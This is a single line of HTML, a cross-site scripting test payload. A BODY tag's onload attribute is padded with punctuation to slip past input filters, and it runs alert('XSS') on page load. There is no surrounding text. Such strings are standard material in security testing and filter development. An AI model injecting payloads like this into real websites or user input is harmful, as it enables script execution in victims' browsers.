<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>